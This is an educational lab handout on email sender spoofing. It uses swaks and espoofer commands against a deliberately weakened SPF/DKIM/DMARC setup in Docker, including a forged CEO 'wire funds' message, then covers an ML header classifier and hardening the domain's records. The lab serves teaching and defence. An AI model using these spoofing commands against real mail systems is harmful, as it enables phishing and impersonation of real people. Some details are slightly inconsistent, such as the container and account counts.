

Email Spoofing & ML-Based Detection Lab

Exploiting SPF, DKIM, and DMARC — and Building a Defence

Copyright © 2026. This lab is released under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.

1 Overview

Email remains one of the most widely abused communication channels for impersonation and phishing attacks. Over the last two decades, three authentication protocols have been standardised to combat email sender spoofing: **SPF** (Sender Policy Framework), **DKIM** (DomainKeys Identified Mail), and **DMARC** (Domain-based Message Authentication, Reporting and Conformance). Despite their widespread adoption, real-world deployments are riddled with misconfigurations and implementation weaknesses that allow a determined attacker to bypass all three layers simultaneously.

This lab has two complementary objectives:

1. **Attack.** Students will exploit deliberate misconfigurations in a controlled email infrastructure to deliver spoofed messages that pass (or are not rejected by) SPF, DKIM, and DMARC checks.
2. **Defend.** Students will train and evaluate a machine-learning classifier that analyses email headers and metadata to flag spoofed messages, providing a last line of defence when protocol-level checks fail.

Topics covered.

- How SPF, DKIM, and DMARC work and interact
- Common misconfigurations that enable spoofing (soft-fail SPF, missing DKIM, DMARC `p=none`)
- Direct MTA attacks using `swaks` and `espoofers`
- Header-injection and envelope/header `From` mismatch attacks
- Feature engineering from email headers for ML-based detection
- Evaluating a classifier against known spoofing patterns

Readings.

- RFC 7208 (SPF), RFC 6376 (DKIM), RFC 7489 (DMARC)
- J. Chen, V. Paxson, J. Jiang — *Composition Kills: A Case Study of Email Sender Authentication*, USENIX Security 2020 (included in `containers_setup/espoofers/papers/`)
- <https://github.com/chenjj/espoofers> — `espoofers` tool documentation

Lab Environment. All tasks run inside a Docker Compose network (`net-10.9.0.0/24`) that you will set up using the provided scripts. No external Internet access is required for the attack tasks. A host machine with Docker and Docker Compose installed is sufficient. This lab has been developed and tested on the official SEED Labs Ubuntu 20.04 virtual machine.

2 Lab Environment

2.1 Container Architecture

The lab uses four containers connected on the 10.9.0.0/24 subnet. Table 1 summarises each container’s role.

Table 1: Docker containers and their roles

Container	IP	Image	Role
dns-server-10.9.0.5	10.9.0.5	Custom BIND9	Authoritative DNS for both domains
victim-mail-10.9.0.6	10.9.0.6	docker-mailserver	Postfix/Dovecot mail server (victim.test)
attacker-sender-10.9.0.7	10.9.0.7	seed-ubuntu:large	Attack workstation

DNS zones. Two DNS zones are served by the BIND9 container:

- **victim.test** — the target domain, configured with intentional weaknesses: SPF soft-fail (~all), no DKIM selector published, and DMARC policy **p=none** (monitoring only).
- **attacker.test** — the attacker’s domain, with a valid SPF record authorising 10.9.0.7, a DKIM public key, and a permissive DMARC record.

Mail accounts. The victim mail server hosts two accounts:

```

1 alice@victim.test    password: pass123
2 bob@victim.test      password: 123pass
3 user@victim.test     (hashed, for postfix-accounts.cf)
```

```

1 # Exposed ports (host machine)
2 SMTP:  localhost:2525 ->  victim-mail:25
3 IMAP:  localhost:1143 ->  victim-mail:143
```

2.2 Setup and Commands

Step 1 — Start the containers. From the root of the `containers.setup` directory:

```

1 $ dcdown          # to bring down running containers, if needed
2 $ dcup -d
3 $ dockps          # verify all three containers are running
```

Step 2 — Run the first-time initialisation script. Open a shell inside the attacker container and run the setup script *once*:

```
1 $ docksh attacker-sender-10.9.0.7
2 (attacker)$ cd /home/seed/init_setup
3 (attacker)$ bash run-me-1st.sh
```

This script updates the system, installs **swaks**, and installs the Python dependencies required by **espoofers**.

Step 3 — Verify DNS resolution. Still inside the attacker container, confirm that the custom DNS server is resolving both zones correctly:

```
1 (attacker)$ dig MX victim.test @10.9.0.5
2 (attacker)$ dig TXT victim.test @10.9.0.5
3 (attacker)$ dig TXT _dmarc.victim.test @10.9.0.5
```

```
1 $ dcdown
```

Stopping the lab.

3 Task 1: Understanding SPF, DKIM, and DMARC

Before launching any attacks, students must understand what each protocol does and how they interact.

3.1 Task 1.1 — Inspecting DNS Records

From inside the attacker container (or from the host using **dig** with **@10.9.0.5**), retrieve and interpret the DNS records for both domains.

```
1 # SPF record for victim.test
2 (attacker)$ dig TXT victim.test @10.9.0.5
3
4 # DMARC record for victim.test
5 (attacker)$ dig TXT _dmarc.victim.test @10.9.0.5
6
7 # SPF record for attacker.test
8 (attacker)$ dig TXT attacker.test @10.9.0.5
9
10 # DKIM public key for attacker.test
11 (attacker)$ dig TXT selector._domainkey.attacker.test @10.9.0.5
```

Questions.

1. What is the SPF policy for `victim.test`? Does it use `-all` (hard-fail) or `~all` (soft-fail)? What is the practical difference?
2. Is there a DKIM selector published for `victim.test`? What happens when a receiver tries to verify a DKIM signature from this domain?
3. What does `p=none` in the DMARC record mean from a deliverability standpoint?
4. How is the attacker's SPF record different from the victim's? Why does this matter?

3.2 Task 1.2 — Sending a Legitimate Email

Use `swaks` to send a legitimate email from `alice@victim.test` to `bob@victim.test` through the victim mail server, and inspect the received headers.

```
1 (attacker)$ swaks \  
2   --from alice@victim.test \  
3   --to    bob@victim.test \  
4   --server 10.9.0.6 --port 25 \  
5   --header "Subject: Legitimate test" \  
6   --body   "This is a legitimate message."
```

Retrieve the message using IMAP (e.g. `mutt` or `curl`) and examine the `Authentication-Results` and `Received-SPF` headers.

```
1 # Retrieve headers via curl (IMAP)  
2 $ curl -s "imap://bob@localhost:1143/INBOX" \  
3   --user "bob:123pass" -X "FETCH 1 RFC822.HEADER"
```

Questions.

1. What `spf=` result is shown in the `Authentication-Results` header?
2. Is there a `dkim=` result? Why or why not?
3. What is the `dmARC=` result, and why is the email still delivered despite any failures?

4 Task 2: SPF Bypass Attack

SPF checks the **envelope sender** (the `MAIL FROM` address passed during the SMTP transaction), not the `From:` header that users see in their email client. This mismatch is a well-known vector for spoofing.

4.1 Task 2.1 — Direct MTA Spoofing with `swaks`

Use the pre-built attack script to send a spoofed email. The script sets the SMTP envelope sender to a legitimate-looking address while identifying itself with the attacker's HELO domain.

```
1 (attacker)$ cd /home/seed/attacks  
2 (attacker)$ bash attack.sh attacker@victim.test bob@victim.test "SPF Test"
```

The script performs three operations: it sends the spoofed email (**swaks**), captures network traffic (**tcpdump**), and prints the SMTP transaction log.

Manual variant. You can also craft the attack manually to better understand the envelope vs. header distinction:

```
1 (attacker)$ swaks \  
2   --from      attacker@victim.test \  
3   --to        bob@victim.test \  
4   --server    10.9.0.6 --port 25 \  
5   --helo      attacker.attacker.test \  
6   --header    "From: CEO <ceo@victim.test>" \  
7   --header    "Subject: Urgent: Please wire funds" \  
8   --body      "Please transfer $10,000 immediately."
```

Questions.

1. What does the recipient (**bob**) see as the **From:** address in his mail client?
2. What does the SPF check evaluate — the **From:** header or the SMTP MAIL FROM?
3. Does the email reach **bob**'s inbox? Examine the **Received-SPF** header and explain the result.
4. What configuration change to the victim's SPF record would cause this email to be rejected outright?

4.2 Task 2.2 — Envelope/Header From Mismatch

In this variant, you align the SMTP MAIL FROM with a domain you control (**attacker.test**), while placing a spoofed address in the **From:** header visible to the user. This causes SPF to *pass* (the envelope sender is legitimate), even though the displayed sender is forged.

```
1 (attacker)$ swaks \  
2   --from      attacker@attacker.test \  
3   --to        bob@victim.test \  
4   --server    10.9.0.6 --port 25 \  
5   --helo      attacker.test \  
6   --header    "From: Alice <alice@victim.test>" \  
7   --header    "Subject: Meeting rescheduled" \  
8   --body      "Hi Bob, our meeting is now at 3pm."
```

Questions.

1. Does SPF pass in this case? Explain why.
2. What is the DMARC *alignment* check, and does this message pass it?
3. What DMARC policy would cause this message to be quarantined or rejected?

5 Task 3: DKIM and DMARC Bypass with espoofer

espoofer is a research tool that implements a catalogue of known email-sender-authentication bypass techniques discovered by Chen, Paxson, and Jiang (USENIX Security 2020). It operates in three modes: *server*, *client*, and *manual*. In this lab we use *server* mode, where **espoofer** acts as the sending MTA.

5.1 Task 3.1 — Exploring Available Attack Cases

```
1 (attacker)$ cd /home/seed/espoofer
2 (attacker)$ python3 espoofer.py -l
```

This lists all built-in attack cases. Note the case identifiers (e.g. `server_a1`, `server_a2`, ...).

Questions.

1. How many distinct server-mode attack cases are available?
2. Pick three cases and describe in your own words what authentication property each one exploits.

5.2 Task 3.2 — Configuring espoofer

Edit `/home/seed/espoofer/config.py` to target the lab infrastructure:

```
1 config = {
2     "attacker_site": b"attacker.test",
3     "legitimate_site_address": b"admin@victim.test", # spoofed From:
4     "victim_address": b"bob@victim.test",           # target inbox
5     "case_id": b"server_a1",                        # change to test others
6
7     "server_mode": {
8         "recv_mail_server": "10.9.0.6",
9         "recv_mail_server_port": 25,
10        "starttls": False,
11    },
12 }
```

5.3 Task 3.3 — Running the Attack

```
1 (attacker)$ python3 espoofer.py          # uses config.py settings
2 # OR override case_id on the command line:
3 (attacker)$ python3 espoofer.py -id server_a2
```

Retrieve the message from bob's inbox and examine the `Authentication-Results` header.

Questions (repeat for at least 3 different case IDs).

1. Which attack case(s) result in `dmarc=pass`?
2. What does the `From:` header look like to Bob in each case?
3. For cases that fail (email rejected or flagged), what specific check causes the failure?
4. Describe, in protocol terms, why the “cocktail” approach (combining multiple bypass techniques) is more effective than any single technique alone.

5.4 Task 3.4 — Manual Mode Attack

Use manual mode to craft a raw spoofed message with full control over every header field:

```
1 (attacker)$ python3 espoofer.py -m m \  
2     -helo attacker.test \  
3     -mfrom attacker@attacker.test \  
4     -rcptto bob@victim.test \  
5     -ip 10.9.0.6 -port 25 \  
6     -data \  
7     "From: Alice <alice@victim.test>\r\nSubject: Spoofing\r\n\r\nBody here."
```

Question. Explain what each flag controls at the SMTP protocol level and how it relates to SPF, DKIM, or DMARC verification.

6 Task 4: Analysing Attack Artefacts

The `attack.sh` script captures SMTP traffic and saves it to log files. This task asks you to analyse those artefacts to build intuition for the features a detection system might use.

6.1 Task 4.1 — Examining SMTP Logs

```
1 (attacker)$ cat /home/seed/attacks/spf-spoof-attack.log
```

Questions.

1. List the SMTP commands exchanged during the spoofed session (e.g. EHLO, MAIL FROM, RCPT TO, DATA).
2. What information in the SMTP transaction reveals that the envelope sender and the `From:` header are mismatched?
3. Which fields in the full message headers would be most useful for an automated detector? Consider: `Received`, `Authentication-Results`, `Received-SPF`, `DKIM-Signature`, `Return-Path`, and `From`.

6.2 Task 4.2 — Header Feature Inventory

Collect the raw headers of at least **five** spoofed emails (from Tasks 2 and 3) and at least **five** legitimate emails (from Task 1.2). For each email, record the values in Table 2.

Table 2: Header feature inventory (fill in during lab)

Email	spf=	dkim=	dmARC=	From $\neq$ Return-Path?
Legitimate 1				
Legitimate 2				
...				
Spoofed 1				
Spoofed 2				
...				

7 Task 5: ML-Based Spoofing Detection

In this task, students build and evaluate a machine-learning classifier that distinguishes spoofed emails from legitimate ones based on header features. This models a real-world *last-line-of-defence* scenario, where protocol-level checks have already been bypassed.

7.1 Task 5.1 — Dataset Preparation

Collect the raw email headers from the emails generated in Tasks 1–4. Supplement this with a publicly available labelled dataset (e.g. the CEAS 2008 spam corpus, SpamAssassin public corpus, or a dataset of your choice) to increase class balance.

For each email, extract the following features:

- `spf_result` — encoded as: `pass=0`, `softfail=1`, `fail=2`, `none=3`
- `dkim_result` — `pass=0`, `fail=1`, `none=2`
- `dmARC_result` — `pass=0`, `fail=1`, `none=2`
- `from_return_path_mismatch` — Boolean (1 if the domain in `From:` differs from `Return-Path:`)
- `helo_from_mismatch` — Boolean (1 if HELO domain differs from `From:` domain)
- `num_received_hops` — count of `Received:` headers
- `has_dkim_signature` — Boolean
- `reply_to_different_domain` — Boolean

Feature extraction hint. Python’s `email` standard library can parse raw message files:

```

1 import email
2
3 with open("raw_message.eml", "r") as f:
4     msg = email.message_from_file(f)
5
6 from_addr    = msg.get("From", "")
7 return_path  = msg.get("Return-Path", "")
8 auth_results = msg.get("Authentication-Results", "")

```

7.2 Task 5.2 — Training the Classifier

Train at least **one** of the following classifiers using `scikit-learn`. Compare results if you train more than one.

- Random Forest (`RandomForestClassifier`)
- Gradient Boosting (`GradientBoostingClassifier`)
- Logistic Regression (`LogisticRegression`)
- Support Vector Machine (`SVC`)

Use an 80/20 train/test split and stratified cross-validation (5-fold).

```
1 from sklearn.ensemble import RandomForestClassifier
2 from sklearn.model_selection import train_test_split, cross_val_score
3 from sklearn.metrics import classification_report, confusion_matrix
4
5 X_train, X_test, y_train, y_test = train_test_split(
6     X, y, test_size=0.2, random_state=42, stratify=y)
7
8 clf = RandomForestClassifier(n_estimators=100, random_state=42)
9 clf.fit(X_train, y_train)
10
11 y_pred = clf.predict(X_test)
12 print(classification_report(y_test, y_pred,
13     target_names=["Legitimate", "Spoofed"]))
14 print(confusion_matrix(y_test, y_pred))
```

7.3 Task 5.3 — Evaluation and Analysis

Questions.

1. Report precision, recall, F1-score, and accuracy for each classifier tested.
2. Which features have the highest importance scores (for tree-based models)? Does this match your intuition from Task 4?
3. What is the cost of a false negative (a spoofed email classified as legitimate) versus a false positive (a legitimate email flagged as spoofed) in a real deployment? How should this affect the choice of decision threshold?
4. Describe at least two ways an attacker could craft a spoofed email that evades your classifier.
5. What additional features or data sources could improve robustness?

8 Task 6: Hardening the Victim Domain

Having successfully attacked the `victim.test` domain, this final task asks you to fix the misconfigurations that made the attacks possible.

8.1 Task 6.1 — SPF Hardening

Edit the BIND zone file `containers_setup/bind/zones/db.victim.test` and change the SPF record from soft-fail to hard-fail:

```
1 ; Before (vulnerable):
2 @ IN TXT "v=spf1 mx ~all"
3
4 ; After (hardened):
5 @ IN TXT "v=spf1 mx -all"
```

Restart the DNS container and re-run the SPF bypass attack from Task 2.1.

Questions.

1. Does the email still reach Bob's inbox after the SPF change?
2. What **Received-SPF** header value do you now observe?
3. Does the envelope/header mismatch attack from Task 2.2 still succeed? Why or why not?

8.2 Task 6.2 — Publishing a DKIM Key

Generate a DKIM key pair for `victim.test` and publish the public key in the DNS zone:

```
1 # Generate key pair (on the attacker container or host)
2 $ openssl genrsa -out dkim_private.pem 2048
3 $ openssl rsa -in dkim_private.pem -pubout -out dkim_public.pem
4
5 # Extract the base64 public key (single line, no headers)
6 $ grep -v '^-' dkim_public.pem | tr -d '\n'
```

Add the following record to `db.victim.test` (replace `<PUBKEY>` with the output above):

```
1 default._domainkey IN TXT "v=DKIM1; k=rsa; p=<PUBKEY>"
```

Configure the victim mail server to sign outgoing mail with the private key, then verify that a legitimate email now includes a valid **DKIM-Signature** header.

Question. After publishing the DKIM key, which **espoofers** cases from Task 3 are now blocked? Are any still effective? Explain why.

8.3 Task 6.3 — DMARC Policy Enforcement

Update the DMARC record to move from monitoring (`p=none`) to enforcement:

```
1 ; Quarantine policy (step towards full enforcement):
2 _dmarc IN TXT "v=DMARC1; p=quarantine; pct=100; aspf=s; adkim=s"
3
4 ; Or full rejection:
5 _dmarc IN TXT "v=DMARC1; p=reject; pct=100; aspf=s; adkim=s"
```

Note the change from `aspf=r` (relaxed) to `aspf=s` (strict) alignment, which requires the `From:` domain to *exactly* match the SPF/DKIM authenticated domain.

Questions.

1. Re-run the attacks from Tasks 2 and 3 with the new DMARC policy. Which attacks are now blocked?
2. What is the risk of moving directly to `p=reject` without first running in `p=none` mode for a period?
3. Summarise the three-protocol hardening as a defence-in-depth diagram (a hand-drawn sketch in your report is acceptable).

9 Submission

Students should submit a lab report in PDF format containing:

1. **Environment verification** — screenshots of running containers (`docker compose ps`) and successful DNS resolution.
2. **Task answers** — all numbered questions answered with supporting evidence (terminal output, header excerpts, screenshots).
3. **Attack logs** — the contents of `spf-spoof-attack.log` and relevant `Authentication-Results` headers for at least three `espoofer` cases.
4. **ML results** — the full `classification_report` output, a confusion matrix, and the feature importance plot (or coefficient table) for your classifier.
5. **Hardening evidence** — before/after zone file excerpts and re-run attack outputs showing the effect of each hardening step.
6. **Reflection** — a short paragraph (200–300 words) discussing the limitations of both protocol-level defences and the ML classifier, and what a production-grade solution would look like.

Academic integrity notice. All attacks in this lab must be conducted exclusively within the provided Docker network. Do not attempt any of these techniques against real email infrastructure.

10 Acknowledgements

- The `espoofer` tool is developed by Jianjun Chen, Vern Paxson, and Jian Jiang and is available at <https://github.com/chenjj/espoofer>.
- The container infrastructure (DNS, mail server, and attacker workstation) was developed as part of the course project.
- The lab format is inspired by the SEED Security Lab series by Wenliang Du, Syracuse University (<https://seedsecuritylabs.org>).